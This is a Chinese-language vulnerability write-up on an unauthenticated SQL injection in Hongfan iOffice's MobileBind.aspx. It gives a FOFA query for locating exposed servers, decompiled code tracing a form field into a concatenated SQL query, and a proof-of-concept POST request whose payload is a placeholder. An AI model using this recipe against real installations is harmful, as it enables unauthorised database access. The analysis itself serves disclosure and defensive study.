红帆ioffice MobileBind.aspx SQL 注入漏洞


漏洞简介

红帆iOffice的/ioffice/prg/Mobile/Base/MobileBind.aspx接口存在SQL注入漏洞。攻击者可通过构造恶意SQL语句,未经身份验证地获取数据库敏感信息,影响范围包括红帆iOffice系统的数据访问权限。

影响版本

fofa语法

(title="iOffice.net" || body="/iOffice/js" || (body="iOffice.net" && header!="couchdb" && header!="drupal") || body="iOfficeOcxSetup.exe" || body="Hongfan. All Rights Reserved")

漏洞分析

先看下MobileBind.aspx 里引用的代码在哪里(Inherits)

<%@ Page Language="vb" AutoEventWireup="false" CodeBehind="MobileBind.aspx.vb" Inherits="Mobile.MobileBind"
    MasterPageFile="~/prg/set/ioPage/ioPageEdit.master" %>

去bin目录找到MobileBind.dll后编译打开,看MobileBind它的实现逻辑

public class MobileBind : WebPageBase
{
[field: AccessedThroughProperty("txtUDIDReqHisID")]
protected virtual TextBox txtUDIDReqHisID { get; [MethodImpl((MethodImplOptions) 32)] set; }

private bool SaveData()
{
  DataTable dataTable = Mobile.Mobile.GetclientUDIDReqHisByID(this.txtUDIDReqHisID.Text);
  if (dataTable.Rows.Count > 0)
  {
    switch (Mobile.Mobile.bindClientUDID((Array) new string[2]
    {
      Conversions.ToString(dataTable.Rows[0]["LoginID"]),
      Conversions.ToString(dataTable.Rows[0]["UDID"])
    }))
    {
      case -2:
        Page page1 = ((Control) this).Page;
        pf.ShowMessage(ref page1, "不允许绑定重复设备");
        ((Control) this).Page = page1;
        return false;
      case -1:
        Page page2 = ((Control) this).Page;
        pf.ShowMessage(ref page2, "当前登录号只允许绑定一个移动设备");
        ((Control) this).Page = page2;
        return false;
    }
  }
  return true;
}

最开始的一些变量定义,前端按钮cmdUDIDReqHis以及cmdClearAll

img

对应后端的两个逻辑

private void cmdUDIDReqHis_Click(object sender, EventArgs e)
{
  this.SaveData();
  this.BindDataGrid();
}

private void cmdClearAll_Click(object sender, EventArgs e)
{
  this.ClearSaveData();
  this.BindDataGrid();
}

跟进SaveData看下

private bool SaveData()
{
  DataTable dataTable = Mobile.Mobile.GetclientUDIDReqHisByID(this.txtUDIDReqHisID.Text);
  if (dataTable.Rows.Count > 0)
  {
    switch (Mobile.Mobile.bindClientUDID((Array) new string[2]
    {
      Conversions.ToString(dataTable.Rows[0]["LoginID"]),
      Conversions.ToString(dataTable.Rows[0]["UDID"])
    }))
    {
      case -2:
        Page page1 = ((Control) this).Page;
        pf.ShowMessage(ref page1, "不允许绑定重复设备");
        ((Control) this).Page = page1;
        return false;
      case -1:
        Page page2 = ((Control) this).Page;
        pf.ShowMessage(ref page2, "当前登录号只允许绑定一个移动设备");
        ((Control) this).Page = page2;
        return false;
    }
  }
  return true;
}

txtUDIDReqHisID被带入Mobile.Mobile.GetclientUDIDReqHisByID 方法,跟进看下

public static DataTable GetclientUDIDReqHisByID(string ID)
{
  return SqlData.ExecuteDataset(Globals.ConnectString, (CommandType) 1, $"select * from clientUDIDReqHis where ID in ({ID})").Tables[0];
}

ok,到这里,漏洞成因就非常明了了,从前端TextBox获取的txtUDIDReqHisID最终经过一系列赋值传递后被直接拼接进$"select * from clientUDIDReqHis where ID in ({ID})" sql语句里,全程无过滤或者校验,从而造成了SQL注入漏洞。

漏洞复现

漏洞复现需要打开漏洞文件页面获取一些其他必要参数如__VIEWSTATE之类

POST /ioffice/prg/Mobile/Base/MobileBind.aspx HTTP/1.1
Host: ioffice.mrxn.net
Content-Type: application/x-www-form-urlencoded

__EVENTTARGET=ctl00%24cntForm%24cmdUDIDReqHis&__EVENTARGUMENT=&__VIEWSTATE=xxxx&__VIEWSTATEGENERATOR=xxxxx&btVerify=&ctl00%24cntForm%24txtUDIDReqHisID=SQLI_POC&ctl00%24cntForm%24cmdUDIDReqHis=Button

成功利用报错注入在响应回显当前数据库用户信息


手机扫码阅读

金和OA KpiWhetherExistTemplateKpiXml.aspx SQL注入漏洞

金和OA KpiTypeExamineXml.aspx XXE漏洞

评 论